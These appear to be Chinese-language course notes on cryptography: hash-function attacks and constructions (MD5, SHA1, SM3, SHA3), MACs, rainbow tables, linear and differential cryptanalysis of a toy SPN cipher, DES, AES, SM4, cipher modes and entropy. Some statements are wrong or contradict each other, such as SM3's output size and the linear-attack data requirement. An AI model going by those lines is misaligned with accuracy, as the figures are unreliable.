则有Pr[E1E2...EQ]=1(11M)QPr[E_1 \vee E_2 \vee ... \vee E_Q]=1-(1-\frac{1}{M})^Q
对于任意给定的y的成功率是常数,故结论成立。Q远小于M,故εQM\varepsilon\approx\frac{Q}{M}(舍弃了后面的M-1的高次项)

第二原像问题

拉斯维加斯算法
Find - Second - Preimage(h, y, Q)
y=h(x)
选择X0X\{x},X0=Q1X_0\subseteq X\backslash\{x\},|X_0|=Q-1
for each x0∈X0
do: if h(x0)=y then return(x0)
return failure

对于任意的X0X\{x},X0=Q1X_0\subseteq X\backslash\{x\},|X_0|=Q-1,算法的成功率为ε=1(11M)Q1\varepsilon=1-(1-\frac{1}{M})^{Q-1}

碰撞问题

生日攻击
Find - Collision(h, Q)
选择任意的X0X,X0=QX_0\subseteq X,|X_0|=Q
for each x∈X0
do yx=h(x)
if 对某一x’∈X,有yx=yx’
then return (x,x’)
else return (failure)

对于任意的X0X,X0=QX_0\subseteq X,|X_0|=Q,算法平均成功率为

ε=1(M1MM2M...MQ+1M)\varepsilon=1-(\frac{M-1}{M}\frac{M-2}{M}...\frac{M-Q+1}{M})

Q2Mln11εQ\approx\sqrt{2M\ln\frac{1}{1-\varepsilon}}

证明:

ε=1(M1MM2M...MQ+1M)i=1k1eiM=ek(k1)2M\varepsilon=1-(\frac{M-1}{M}\frac{M-2}{M}...\frac{M-Q+1}{M})\\ \approx\prod_{i=1}^{k-1}e^{-\frac{i}{M}}=e^{-\frac{k(k-1)}{2M}}

对一个输出空间大小为M的随机函数,只需要计算大约M\sqrt{M}个函数值就能够以一个不可忽略的概率发现一个碰撞。因此Hash函数的输出空间大小必须有一个下界。

安全性准则的比较

Collision - To - Second - Preimage(h)
external Oracle - 2nd - Preimage
均匀随机选择x∈X
if Oracle - 2nd - Preimage(h,x)=x’
then return (x,x’)
else return (failure)

碰撞问题可以归约到第二原像问题,因此可以说碰撞稳固性质意味着第二原像稳固性质。

Collision - To - Preimage(h)
external Oracle - Preimage
均匀随机选择x∈X
y←h(x)
if (Oracle - Preimage(h, y)=x’) and (x≠x’)
then return (x, x’)
else return (failure)

定理4.5 假定h: X→Y是一个Hash函数,其中|X|和|Y|有限且|X|≥2|Y|。假定Oracle - Preimage对固定的hash函数是原像问题中的一个(1, Q)算法,则Collision - To - Preimage对固定的Hash函数时碰撞问题的一个(1/2, Q+1)算法

使用随机预言机模型中理想Hash函数是困难的,可以参考一些分组密码理论构造尽可能接近理想特性的Hash函数。(混乱、扩散、随机)。可以基于数学难题构造方法,但计算速度慢,不实用。因此可以使用对称密码体制来设计Hash函数,或者直接设计。

4.2 常用Hash函数

Hash函数通用结构:迭代结构

MD5

填充

最后一块的最后8个字节(64bits)保存的是输入的长度。如果消息正好是分块的整数倍,仍然需要填充一整块,其中前面为10000…(填充内容),后面为输入长度。如果消息过长(大于2^64 bits),则将消息模2^64(仅取低64位)计算MD5。(消息长度为小端序)

压缩初始化

初始化4个字寄存器,填入CV0(0x67452301,0xEFCDAB89,0x98BADCFE,0x10325476,固定不变)

压缩

F(B,C,D)=(BC)(¬BD)G(B,C,D)=(BC)(C¬D)H(B,C,D)=BCDI(B,C,D)=C(B¬D)F(B,C,D)=(B\land C)\vee(\lnot B\land D)\\ G(B,C,D)=(B\land C)\vee(C\land\lnot D)\\ H(B,C,D)=B\oplus C\oplus D\\ I(B,C,D)=C\oplus(B\vee\lnot D)

SHA1

填充

与MD5基本相同,不同的是SHA1最后的输入长度为大端序而MD5为小端序

算法

一共执行80步后输出

F1=(BC)(¬BD)F2=BCDF3=(BC)(BD)(CD)F_1=(B\land C)\vee(\lnot B\land D)\\ F_2=B\oplus C\oplus D\\ F_3=(B\land C)\vee(B\land D)\vee(C\land D)

其中F1用于第0-19步,F2用于第20-39、60-79步,F3用于第40-59步

Wt={Yi[t],0t15S1(Wt16Wt14Wt8Wt3)t15W_t=\left\{\\ \begin{array}{c} Y_i[t], 0\le t\le 15\\ S^1(W_{t-16}\oplus W_{t-14}\oplus W_{t-8}\oplus W_{t-3}),t\ge 15 \end{array} \right.

Kt={0x5A827999,0t190x6ED9EBA1,20t390x8F1BBCDC,40t590xCA62C1D6,60t79K_t=\left\{\\ \begin{array}{c} \operatorname{0x}5A827999, 0\le t\le 19\\ \operatorname{0x}6ED9EBA1, 20\le t\le 39\\ \operatorname{0x}8F1BBCDC, 40\le t\le 59\\ \operatorname{0x}CA62C1D6, 60\le t\le 79\\ \end{array} \right.

二者比较

摘要长度:寻找原像与碰撞
速度:SHA1速度慢于MD5
简洁与紧致性:描述和实现都较为简单,无需更大代换表
数据存储方式:小端序和大端序
安全性:SHA1优于MD5

SM3

  • 遵循通用迭代结构
  • 输出为256比特的摘要,消息长度小于264,按照512比特分组
  • 过程包括填充和迭代压缩,填充方式与MD5相同
  • 压缩函数使用8个字寄存器,大端序存储,同SHA1,一共执行64步
  • 输出为160bit


压缩函数:将Yi扩展为132个字用于压缩函数CF(ABCDEFGH)

SHA3

采用海绵结构,可以实现任意长度的输入和输出

填充

首尾填充1,中间填充0,整数倍也要填充

n0,M,M(Z2):MMMpad[r]Mpad[r]0nr\forall n\ge 0,\forall M,M'\in(Z_2)^*:M\ne M'\Rightarrow M||pad[r]\ne M'||pad[r]||0^{nr}
即若原来的明文不一样,填充完之后应该也不一样。





MAC

报文校验码,满足某些安全性质的带密钥的Hash函数,功能是保证数据完整性以及数据源认证
可以通过不带密钥的Hash函数构造:HMAC
也可通过对称密钥算法构造:CBC-MAC

ipad = 3636…36
opad = 5c5c…5c

HMACK(x)=SHA-1((K\oplusopad)||SHA-1((K\oplusipad)||x))【||表示连接】
通过嵌套Hash函数以保证MAC的安全性。一旦结构安全,则可以替换其中的Hash函数

CBC-MAC(x,k)
令x=x1||…||xn
IV←00…0
y0←IV
for i=1 to n
do yi=ek(yi-1\oplusxi)
return yn
加密算法具有混乱特性,当基本加密算法满足合适的安全性质时,CBC-MAC是安全的

CCM模式:CTR+CBC-MAC
Ti=ctr+i mod 2m,x=x1||…,yi=ek(Ti)\oplusxi
temp = CBC-MAC(x, K),y’ = T0\oplustemp,y=y1||y2||…||y’

攻击方式

  • 暴力破解
  • 字典攻击(针对于口令)
  • 彩虹表
    对随机口令取哈希值,再通过一个从Hash值空间到口令空间均匀分布的函数R,获取到这个口令Hash取函数R后的另一个口令。如此进行下去可以获取到一个口令-Hash-口令-Hash-…的链,可以获取多个这样的链,在存储时只需要存储每条链的第一个和最后一个口令即可,可以大大节省存储空间。
    如果哈希值为H的口令不是Pi,j中的任何一个,那么在这条链上一定找不到
    如果彩虹表链长上界为n,若Hash值为H0的口令是Pi,j中的某一个,最多n次运算后能够使得Pi等于彩虹表中某条链的链尾
    为了防止不同链的碰撞,需要使用多个R函数
    Cain,RainbowCrack等免费使用的公用彩虹表,但主流支持10字符一下的口令。采用salt(盐值)能够有效对抗彩虹表

现代分组密码设计思想:
分组密码是一个{0,1}的随机代换
基本的变换手段为:代换与置换
基本的安全需求:混乱(密钥和明文以及密文之间的依赖关系复杂)、扩散(单个密钥位或明文位的影响尽可能扩散到更多的密文位,即修改明文的某一位需要尽可能导致密文的尽可能多位发生改变)
结构 - SPN网络和Feistel结构

迭代密码:将明文经过加密函数G迭代加密多次(需要密钥参与,密钥由密钥扩展算法生成,每一次加密的密钥都不相同)。多次加密能够使得比特位得到扩散,增加了密码的安全性。

**SPN网络——代换-置换网络的一轮变换过程:**明文X的一轮加密包含:代换S和置换P。首先与轮密钥异或(白化),然后首先进行小代换,然后将几组的代换结果经过置换后输出。解密首先反置换再反代换即可。如输入为16比特,则代换过程则是将这16比特分为4组,每组均进行代换操作(这些代换需要借助代换表完成)置换则是将代换后的16比特打乱重排后输出。不过 由于对于任意的线性变换A:x→y=A(x),有A(x\oplusk)=A(x)\oplusA(k),因此存在有不同的解密顺序也能够解密出正确结果。

Feistel结构的一轮变换过程:将输入分为两份,每一轮运算只运算了一半的输入,交替加密。流密钥函数K与一半不变的输入输入到函数F中,将得到的输出与另一半输入异或后输出。其加密与解密过程完全相同,不同的是解密密钥首先输入Kn到K0,加密密钥为K0到Kn,即逆序使用。非线性函数F不需要可逆。 Feistel的扩散速度比SPN网络慢,因此需要更多的迭代次数

SPN 密码体制定义

设l,m,Nr是正整数,P=C={0,1}lm
K({0,1}lm)Nr+1K\subseteq(\{0,1\}^{lm})^{Nr+1}是由初始密钥k用密钥编排算法生成的所有可能的密钥编排方案集合,一个密钥编排方案记为(k1, k2, …, kNr+1)
状态值w长度为l×m,记为w1, w2, …, wNr+1
w可以看成m个长度为l的子串连接而成,记为w<1>,w<2>,…,w<m>,其中
w<i>=w(i-1)l+1,w(i-1)l+2,…,w(i-1)l+l

  • SPN的特点:结构简单,易于软硬件实现;高效快速,易于扩展和强化——增加l和m可以提高穷举k的难度(但过大可能会占用过多存储资源),也可以使用多个S盒和P盒进一步提高变换的复杂度,增加Nr可以进一步提高密文的混乱程度

线性密码分析

通过分析S盒的线性特性从而发现明文比特、密文比特和密钥比特之间可能存在的概率线性关系。存在一个比特子集使得其中元素的异或表现出非随机的分布来进行分析的密码分析方法。(已知明文攻击,给定明文、密文和S盒,确定k的部分比特)

S盒线性逼近

考虑一个S盒π\piS:{0,1}m→{0,1}n,具有m重输入X=(x1,x2,…,xm)和n重输出Y=(y1,y2,…,yn)。从X和Y中任意选择若干比特通过异或运算构成一个随机变量

xi1xi2...xikyj1yj2...yjlx_{i_1}\oplus x_{i_2}\oplus...\oplus x_{i_k}\oplus y_{j_1}\oplus y_{j_2}\oplus...\oplus y_{j_l}

上面的结果很可能不为二分之一,就产生了特殊的概率。

如果选择的输入序列X对应的输出不是Y,则Pr[Y1=y1,...,Yn=ynX1=x1,...,Xm=xm]=0Pr[Y_1=y_1,...,Y_n=y_n|X_1=x_1,...,X_m=x_m]=0,否则等于2m2^{-m}

偏差

取值于{0,1}上的随机变量X,取值为0的概率为p,则取值为1的概率为1-p,X的偏差定义为:ϵ=p12\epsilon=p-\frac{1}{2}

堆积引理

Xi1,Xi2,...,XikX_{i_1},X_{i_2},...,X_{i_k}是取值于{0,1}上的独立随机变量,其偏差依次为ϵi1,...,ϵik\epsilon_{i_1},...,\epsilon_{i_k},定义随机变量Xi1,i2,...,ik=Xi1Xi2...XikX_{i_1,i_2,...,i_k}=X_{i_1}\oplus X_{i_2}\oplus...X_{i_k},以ϵi1,i2,...,ik\epsilon_{i_1,i_2,...,i_k}表示其偏差,则有

ϵi1,i2,...,ik=2k1j=1kϵij\epsilon_{i_1,i_2,...,i_k}=2^{k-1}\prod_{j=1}^k\epsilon_{i_j}

证明:当k=1时结论显然成立
假设k=n时上述结论成立,则当k=n+1时
Pr[Xi1...Xin+1=0]=Pr[Xi1...Xin=0]Pr[Xin+1=1]+Pr[Xi1...Xin=1]Pr[Xin+1=0]=(2n1ϵij+12)(ϵin+1+12)+(122n1ϵij)(12ϵin+1)=12+2nϵijPr[X_{i_1}\oplus...\oplus X_{i_{n+1}}=0]=Pr[X_{i_1}\oplus...\oplus X_{i_{n}}=0]Pr[X_{i_{n+1}}=1]+Pr[X_{i_1}\oplus...\oplus X_{i_{n}}=1]Pr[X_{i_{n+1}}=0]\\ =(2^{n-1}\prod\epsilon_{i_j}+\frac{1}{2})(\epsilon_{i_{n+1}}+\frac{1}{2})+(\frac{1}{2}-2^{n-1}\prod\epsilon_{i_j})(\frac{1}{2}-\epsilon_{i_{n+1}})\\ =\frac{1}{2}+2^n\prod\epsilon_{i_j}
证毕。

线性逼近表:


a表示输入的4比特,b表示输出的4比特,中间的数字表示满足(i=14aiXi)(i=14biYi)=0(\oplus_{i=1}^{4}a_iX_i)\oplus(\oplus_{i=1}^4b_iY_i)=0(x1,x2,x3,x4,y1,y2,y3,y4)(x_1,x_2,x_3,x_4,y_1,y_2,y_3,y_4)的个数((y1,y2,y3,y4)=πS(x1,x2,x3,x4)(y_1,y_2,y_3,y_4)=\pi_S(x_1,x_2,x_3,x_4)),容易通过此表获取偏差。选择其中距离8最大的部分可得偏差最大的输入输出对。理解:线性逼近表是S盒的性质,仅与S盒的置换有关。

线性逼近分析过程


需要注意的是,线性分析只能攻击最后一个密钥,而不能攻击其他密钥,因此在分析过程中应将其他密钥视而不见,因为密钥是确定的,而偏差计算的是一种分布,与前面的密钥无关。输入和输出应尽量选择对应于线性逼近表中数值偏离8较多的,这样分析成功的概率更大。
对于第一轮S盒的输入,追踪其输出到最后并计算偏差

如上图中第一轮输入选B输出选4,则随机变量T1=u51u71u81v61T_1=u_5^1\oplus u_7^1\oplus u_8^1\oplus v_6^1的偏差为14\frac{1}{4}
第二轮输入选4输出选5的偏差绝对值最大。即随机变量T2=u62v62v82T_2=u_6^2\oplus v_6^2\oplus v_8^2的偏差为14-\frac{1}{4}
第三轮输入需要注意,第二轮输入的最低位跑到第4个盒去了,所以第三轮输入考虑两个盒,一个是S32S_3^2,输入为4;一个是S34S_3^4,输入为4,输出还是都选5。即T3=u63v63v83T_3=u_6^3\oplus v_6^3\oplus v_8^3偏差为14-\frac{1}{4}T4=u143v143v163T_4=u_{14}^3\oplus v_{14}^3\oplus v_{16}^3偏差为14-\frac{1}{4}
T1T2T3T4=x5x7x8v63v83v143v163k51k71k81k62k63k143=x5x7x8u64u84u144u164k51k71k81k62k63k143k64k84k144k164T_1\oplus T_2\oplus T_3\oplus T_4=x_5\oplus x_7\oplus x_8\oplus v_6^3\oplus v_8^3\oplus v^3_{14}\oplus v_{16}^3\oplus k_5^1\oplus k_7^1\oplus k_8^1\oplus k_6^2\oplus k_6^3\oplus k_{14}^3\\ =x_5\oplus x_7\oplus x_8\oplus u_6^4\oplus u_8^4\oplus u^4_{14}\oplus u_{16}^4\oplus k_5^1\oplus k_7^1\oplus k_8^1\oplus k_6^2\oplus k_6^3\oplus k_{14}^3\oplus k_6^4\oplus k_8^4\oplus k_{14}^4\oplus k_{16}^4

由堆积引理可知T1T2T3T4T_1\oplus T_2\oplus T_3\oplus T_4的偏差为132-\frac{1}{32}(四者并不独立,因此这不是准确值,只是估算,不过仍然有效),x5x7x8u64u84u144u164x_5\oplus x_7\oplus x_8\oplus u_6^4\oplus u_8^4\oplus u^4_{14}\oplus u_{16}^4具有偏差±132±\frac{1}{32}(后面的k是固定不变的,因此不会计入偏差)

理解:这实际上是一个加密链的分析过程,上面的选择输入是由我们自由选择的,不是说输入就是这个,而是说我们选择哪些比特参与异或。

分析过程梳理:

  1. 收集尽可能多的在同一未知密钥k加密的T对明-密文对,用T\mathbb T表示明-密文对的集合(T=T|\mathbb T|=T),目标是获得候选子密钥(k<2>5,k<4>5k_{<2>}^5,k_{<4>}^5,即4组子密钥中的第2组和第4组)
  2. 每个候选子密钥分配一个计数器,初始值为0
  3. 对于每对明-密文对,尝试所有可能的候选子密钥,计算随机变量x5x7x8u64u84u144u164x_5\oplus x_7\oplus x_8\oplus u_6^4\oplus u_8^4\oplus u^4_{14}\oplus u_{16}^4的结果,若结果为0则相应计数器加1
  4. 明-密文对尝试完毕后,真子密钥对应的计数值最接近T2±T32\frac{T}{2}±\frac{T}{32},其他则接近T2\frac{T}{2}(T越大结果越准确)

线性密码分析基于S盒的有效线性逼近
是一种已知明文攻击方法,需要较多的明-密文对

  • 基于偏差ε\varepsilon的线性攻击要想获得成功,所需明密文对数量T接近cε2c\varepsilon^2,c为常数
    此算法只能分析最后一轮子密钥,缩小的穷举密钥的范围。

差分密码分析

通过分析明文对的差值(异或)对密文对差值的影响来恢复某些密钥比特的分析方法。
一种选择明文攻击方法,构造若干明文串对,每对明文的异或相等,观察相应密文异或结果。

S盒差分特征

πS:{0,1}m{0,1}n\pi_S:\{0,1\}^m\rightarrow \{0,1\}^n是一个S盒,长为m的有序比特串对(x,x*),称S盒输入异或为x=xxx'=x\oplus x^*,输出异或为y=πS(x)πS(x)y'=\pi_S(x)\oplus\pi_S(x^*),(x’,y’)称为一对差分。
对于任意x{0,1}mx'\in\{0,1\}^m,定义集合Δ(x)\Delta(x')为包含所有输入异或值为x’的有序对(x,x*),该集合含有2m对,对集合Δ(x)\Delta(x')中的每一对,可求出S盒的输出异或,一个非均匀的输出分布将会是一个成功差分分析的基础。

需要分析(x’, y’)的分布情况,其中x’是固定的。(注意每一个y’只会出现偶数次,因为x和x*互换后y和y*互换,然后y’相等)

扩散率: 条件概率Pr[y=bx=a]Pr[y'=b|x'=a]称为差分(a,b)的扩散率Rp(a,b)R_p(a,b)

Rp(a,b)=ND(a,b)2mR_p(a,b)=\frac{N_D(a,b)}{2^m}

差分分析过程


上图中a表示输入x,b表示y’。

第一轮应该选择扩散率最大的进行分析,能够分析成功的概率最大。,扩散率为12\frac{1}{2}
第二轮追踪第一轮的输出,到了第三个子密钥中进行分析。输入选择4,输出选择6,扩散率为38\frac{3}{8}
接下来按照图中红线继续分析即可。S23,S33S_2^3,S_3^3的扩散率均为38\frac{3}{8}

由图可知总的扩散率即为扩散率的乘积。

输入异或与子密钥无关,但输出有关

正确对:对于给定密钥,满足差分特征的明文对。对于所有明文输入,正确对产生的概率等于扩散率。

需要找到足够多的四元组(x,x*,y,y*),其中xx=xx\oplus x^*=x'固定不变,和线性分析一样,只能分析最后一轮子密钥,对可能的候选子密钥进行猜测,正确对在正确的密钥作用下,满足差分链特征。
错误对:带来噪音

上例中测试最后一轮子密钥k5的8位,即穷举256个密钥。满足差分特征,则相应密钥的计数器加1

分析过程梳理

  • 收集尽可能多的在同一未知密钥k加密的T个4重组(x,x*,y,y*),x’=0000101100000000,用T表示四重组的集合(|T|=T),目标是获得候选子密钥(k<2>5,k<4>)5(k_{<2>}^5,k_{<4>})^5
  • 每个候选子密钥分配一个计数器,初始值为0,
  • 对每对明-密文,尝试所有可能的候选子密钥,计算出u4u'^4,如果u4=0000011000000110u'^4=0000011000000110则相应的计数器加1
  • T对明-密文尝试完毕后,真子密钥对应的计数器值最大
  • T越大,结果越准确

分析小结

  • 差分密码分析基于S盒不均匀的差分特征
  • 差分密码分析是一种不确定的明文分析方法,需要较多的明-密文对
    • 基于差分扩散率ε\varepsilon的差分攻击想要获得成功,所需明-密文对数量T接近cε1c\varepsilon^{-1}(少于线性分析),c为某常数
    • 此算法只能分析最后一轮子密钥,缩小了穷举密钥的范围

高级加密标准

DES

  • 基于Feistel结构
  • 明文、密文、密钥长度为64位
  • 使用8个不同的非线性S盒
  • 使用扩展代换和压缩置换
  • 迭代16轮
  • 加密和解密算法相同,只是密钥编排方式不同

算法结构

输入明文(64位),首先进行预先初始置换IP,然后使用Feistel结构和16个子密钥进行16轮迭代。之后进行逆置换IP-1后输出密文

初始置换

将64位分为8个字节来看,置换后也是8×8。置换后每一个字节的最后一位属于初始的第一个字节,倒数第二位属于初始的第二个字节,……以此类推,置换后的8字节中每个字节的最后一个字节分别对应初始第一个字节的第2、4、6、8、1、3、5、7个字节。这个置换固定不变。

密钥编排过程

对于一个初始给定的密钥k,首先进行密钥置换πkp\pi_{kp}丢掉8比特(这8比特实际上作为校验位存在),对左28位进行循环左移ai位,对右28位循环右移a2位,其中当i=1,2,9,16时,ai=1,其他时候ai=2。然后进行压缩置换πcp\pi_{cp}再丢掉8比特,形成第一个轮密钥(48位)。

由上图可知,丢掉的是64位中每个字节的最后一位。

迭代过程

每一次迭代将输入的后32位与48位密钥进行函数处理得到32位与输入前32位异或得到输出的后32位,输出前32位即为输入后32位。


E为扩展置换:

S盒的代换方法:

每一组是6比特代换,里面最左边的一位和最右边的一位决定在哪一行代换,中间4位决定代换的值。如最左边为1,最右边为1,就应该在第4行找。S盒一共8个。

P为最终置换:

DES算法的安全性

所有的S盒都是固定的
IBM提交算法后,发现反馈的结果修改了所有的S盒
S盒的设计准则并未完全公开
怀疑算法存在“陷门”

S盒的设计准则

  • 每一行是整数0,…,15的一个置换
  • 没有一个S盒是输入变量的线性函数
  • 改变S盒的一个输入位至少要引起两位输出改变
  • 对于任何一个S盒和任意一个输入X,S(X)和S(X \oplus 001100)至少有两个比特不同
  • 对于任何一个S盒,对于任何一个输入对e,f属于{0,1}4,S(X)≠S(X \oplus 11ef00)
  • S盒的任意一位不变,其他5位变化时,输出中的0和1的总和基本相等

人们担心实际56比特的密钥长度不足以抵御穷举式攻击,密钥量只有越1017
DES算法基本没有发现其他重大的缺陷,线性攻击和差分攻击对计算复杂度有一定影响

DES存在4个弱密钥:使用弱密钥加密明文得到密文,对密文进行弱密钥加密和解密均可以恢复明文。(K1=K16K_1=K_{16}
K1=0101010101010101K2=fefefefefefefefeK3=1f1f1f1f0e0e0e0eK4=e0e0e0e0f1f1f1f1K_1=0101010101010101\\ K_2=fefefefefefefefe\\ K_3=1f1f1f1f0e0e0e0e\\ K_4=e0e0e0e0f1f1f1f1
半弱密钥:存在K和K’,使得EKEK=IE_K\cdot E_{K'}=I,DES存在12个半弱密钥。
K1=e001e001f101f101,K2=01e001e001f101f1K_1=e001e001f101f101,K_2=01e001e001f101f1
补密钥DESKˉ(Mˉ)=DESK(M)DES_{\bar{K}}(\bar{M})=\overline{DES_K(M)},补密钥将密钥的所有位取反得到。

DES不是幂等的,不能构成封闭群,因此可以通过自身乘积以提高安全性,其中三重DES使用最为广泛,使用不同密钥对其加密三次。

  • 中间相遇攻击双重DES:穷举密钥加密P1,保存结果,一共有256个值
  • 穷举前解密C1,比较P1加密的结果,若相同使用当前解密的密钥K2和表中对应的K1来加密P2,若得到C2,则说明得到正确的K1和K2,否则继续寻找。总复杂度为257,但空间使用也很大。

三重DES的工作方式:

  • DES-EEE3:三个不同密钥三次加密
  • DES-EDE3:三个不同密钥加密-解密-加密
  • DES-EEE2:两个不同密钥,K1=K3,加密3次
  • DES-EDE2:两个不同密钥,K1=K3,加密-解密-加密

AES

  • 比三重DES快

  • 至少与三重DES一样安全

  • 数据分组长度为128比特

  • 密钥长度为128/192/256比特

  • 可在全世界范围内免费得到

  • 采用SPN结构,加密和解密相似

  • 能够有效抵抗所有已知攻击

  • 没有发现弱密钥和补密钥

  • 结构简单,运算速度快

  • 支持128位分组,支持128/192/256位密钥

  • 轮数Nr依赖密钥长度,分别为10/12/14



字节代换

AES的S盒代换是基于有限域F28=Z2[x]/(x8+x4+x3+x+1)\mathbb F_{2^8}=\mathbb Z_2[x]/(x^8+x^4+x^3+x+1)
a=a7a6a5a4a3a2a1a0a=a_7a_6a_5a_4a_3a_2a_1a_0

i=07aixi\sum_{i=0}^7a_ix^i

字节代换:y=Ax1+cy=Ax^{-1}+c

A=(1111100001111100001111100001111110001111110001111110001111110001),c=(01100011)A=\begin{pmatrix} 1 & 1 & 1 & 1 & 1 & 0 & 0 & 0\\ 0 & 1 & 1 & 1 & 1 & 1 & 0 & 0\\ 0 & 0 & 1 & 1 & 1 & 1 & 1 & 0\\ 0 & 0 & 0 & 1 & 1 & 1 & 1 & 1\\ 1 & 0 & 0 & 0 & 1 & 1 & 1 & 1\\ 1 & 1 & 0 & 0 & 0 & 1 & 1 & 1\\ 1 & 1 & 1 & 0 & 0 & 0 & 1 & 1\\ 1 & 1 & 1 & 1 & 0 & 0 & 0 & 1 \end{pmatrix}, c=\begin{pmatrix}0\\1\\1\\0\\0\\0\\1\\1\end{pmatrix}

计算z=f(x)在有限域下的乘法逆元z-1,使用辗转相除法计算。

行移位变换

对状态矩阵每一行进行循环左移操作,第i行循环左移i-1个字节。(明文看做4*4字节的矩阵)

列混合变换


也就是和一个固定的矩阵相乘。

与轮密钥异或

与KNr异或即可。

AES密钥编排算法

若密钥长度为128字节,一共迭代10轮,需要11个轮密钥,每一个轮密钥为128位,密钥编排算法需要用128位主密钥key生成11个128位的轮密钥。
将4*4密钥矩阵中的每一列当做一个字,易知密钥编排算法需要输出44个字,表示11个轮密钥,AES密钥编排算法使用了S盒变换(与DES不同)

首先定义了10个常数:

初始密钥有4个字W[0],W[1],W[2],W[3],为第一次派生得来。之后的字的生成方式为:对于W[i],由于W[3]=(K12,K13,K14,K15)T,此时i=4,首先将第一字节与第四字节交换(K15,K12,K13,K14)T,然后逐字节进行代换。最后如果i整除4,就与上面的10个常数之一Rcon[i/4]异或(实际上只改了最高字节)。最后再与W[4-4]进行异或。一直计算到W[43]完成。
当列数不同时(密钥长度为192和256比特)时,代换与异或的判断条件有所改变。

SM4加密算法

  • 分组长度为128比特,密钥为128比特
  • 是对称加密算法,共需要32轮迭代,在解密算法中密钥逆序使用
  • 密钥扩展算法采用32轮迭代结构,与加密算法类似
  • 基于非均衡Feistel结构

每一轮迭代,产生32位新的比特序列,放在128位的最后面,前面的128位保留后96位放在前面,舍弃最前面的32位,类似于一个内部迭代过程。最后经过反序变换输出密文。
x4=x0T(x1x2x3rk0)x_4=x_0\oplus T(x_1\oplus x_2\oplus x_3\oplus rk_0)

分组密码的工作模式

由基本密码、一些反馈和一些简单运算组合而成
每个密码标准在描述密码算法同时都定义相关工作模式

  • 电子密码本 ECB
  • 密码分组链接 CBC
  • 密码反馈 CFB
  • 输出反馈 OFB
  • 计数器模式 CTR

电子密码本模式——ECB

使用相同的密钥对每一块进行加密,对每一块加密后将每一块密文组合在一起即得到密文。
分组之间没有任何关系

优点:

  • 可以进行并行处理
  • 简单有效
  • 不存在错误传播问题。(加密产生的错误只会限制在一块之中)

缺点:

  • 相同明文分组会加密成相同密文分组
  • 对明文的主动攻击是可能的:可能会替换、重排、删除、重放信息块而改变原有明文的意义
  • 适合传输短信息(如加密口令)

密码分组链接模式——CBC

前一块明文的加密结果参与下一块的密文生成流程,看上去像是有链接关系。
分块之间相互影响:

  • 信息块不容易被替换、重排、删除、重放
  • 安全性好于ECB
  • 适合传输长度大于64位的报文
  • 是大多数系统的标准模式(SSL、IPSec等)

不足:

  • 没有已知的并行算法
  • 需要共同初始化向量IV
  • 存在错误传播现象,前面出错后面就全错了

密码反馈模式——CFB

将分组密码用于异步序列密码,数据可以在比分组小得多的单元里进行加密。
适用于实时加密字节级别的数据的情况

C0=IV(初始向量)C1=Ek(C0)P1Ci+1=Ek(Ci)PiP1=C1Ek(C0)Pi=Ci+1Ek(Ci)C_0=IV(初始向量)\\ C_1=E_k(C_0)\oplus P_1\\ C_{i+1}=E_k(C_i)\oplus P_i\\ P_1=C_1\oplus E_k(C_0)\\ P_i=C_{i+1}\oplus E_k(C_i)

特点:

  • 没有已知的并行实现算法
  • 隐藏的明文模式
  • 需要共同的移位寄存器初始值IV
  • 存在错误传播(一个单元损坏影响多个单元)

输出反馈模式——OFB

将分组密码算法用于同步序列密码的方式
与CFB类似,不同的是进入移位寄存器的数据和被加密明文无关,只与初始向量无关。

特点:

  • 没有已知的并行实现算法
  • 需要共同的移位寄存器初始值IV
  • 不存在错误传播
  • 可以离线工作(离线生成密钥流,在线直接进行加密工作即可,相当于预处理过程)
  • 密钥序列最终会重复

计数器模式——CTR

引入一个计数器,使用密钥加密计数器的值,然后与明文异或。下一次加密将计数器加一相同操作。

  • 可以进行并行加密
  • 可以离线工作(预处理)
  • 吞吐量仅受可使用并行数量的限制
  • 加密数据块的随机访问
  • 可证明安全
  • 简单性(只要求实现加密算法)
  • 密钥只能使用一次,除非能维持很长的计数器

短块处理

通用方法:填充(padding)(当明文长度为分组长度的整数倍时,仍然需要添加一整个填充块)

  • pkcs#5/pkcs#7:最大分组长度为不小于8/256字节,缺失几个字节填充几遍填充字节数量

  • PKCS7填充法:FF FF FF FF FF FF FF FF FF 07 07 07 07 07 07 07

  • X923填充法:FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 07

  • ISO 10126填充:FF FF FF FF FF FF FF FF FF 7D 2A 75 EF F8 EF 07

  • 一种特殊方法

  • 自主指定,None,Zeros

  • 避免使用padding造成数据长度的扩充CTS(CipherText Stealing,密文挪用)

  • 工作模式安全性依赖于算法本身的安全性

  • 常用工作模式的比较:分组密码算法的作用、随机数的不可预测性、计数器的新鲜性、并行性、错误传播

  • 短块处理:填充、密文挪用

九、密码学中的熵关系

定理2.10

(P,C,K,E,D)(P,C,K,E,D)是一个密码体制,那么有H(KC)=H(K)+H(P)H(C)H(K|C)=H(K)+H(P)-H(C)
即截获密文后,密钥的熵等于明文的熵加密钥的熵减密文的熵(密钥含糊度)

证明:
由定理2.8:H(KC)=H(KC)H(C)H(K|C)=H(KC)-H(C)
明文与密钥之间没有任何统计规律,故有H(KP)=H(K)+H(P)H(KP)=H(K)+H(P)
由密码体制的性质,当明文和密钥已知时,密文也随之确定,则有H(CKP)=0H(C|KP)=0(信息量为0)
同理当密文与密钥已知时,明文也随之确定,故H(PKC)=0H(P|KC)=0
由定理2.8:H(PKC)=H(PKC)+H(KC)=H(KC),H(CKP)=H(CKP)+H(KP)=H(KP)H(PKC)=H(P|KC)+H(KC)=H(KC),H(CKP)=H(C|KP)+H(KP)=H(KP)
故有H(KC)=H(KP)=H(K)+H(P)H(KC)=H(KP)=H(K)+H(P)
H(KC)=H(K)+H(P)H(C)H(K|C)=H(K)+H(P)-H(C),证毕。

一般密码体制与熵有关的性质

  1. PC|P|\le|C|(从明文空间到密文空间必为单射)
  2. H(PKC)=H(CKP)=0H(P|KC)=H(C|KP)=0(见定理2.10证明部分)
  3. H(PK)=H(P)+H(K)H(PK)=H(P)+H(K)(见定理2.10证明部分)
  4. 定理2.10结论
  5. H(P)H(C)H(P)+H(K)H(P)\le H(C)\le H(P)+H(K)H(KC)H(K)H(K|C)\le H(K),由定理2.10推出)
  6. H(PC)H(KC)H(P|C)\le H(K|C)

推论:若P=C|P|=|C|,且P随机等概率分布,则C一定随机等概率分布。此时H(KC)=H(K)H(K|C)=H(K)
对于完善保密体制,还有下面的性质:

  1. H(PC)=H(P)H(P|C)=H(P)
  2. PCK(Pr[yx]=Pr[y]>0)|P|\le |C|\le |K|(Pr[y|x]=Pr[y]>0)
  3. H(P)H(C)H(K)H(P)\le H(C)\le H(K)

6.证明:

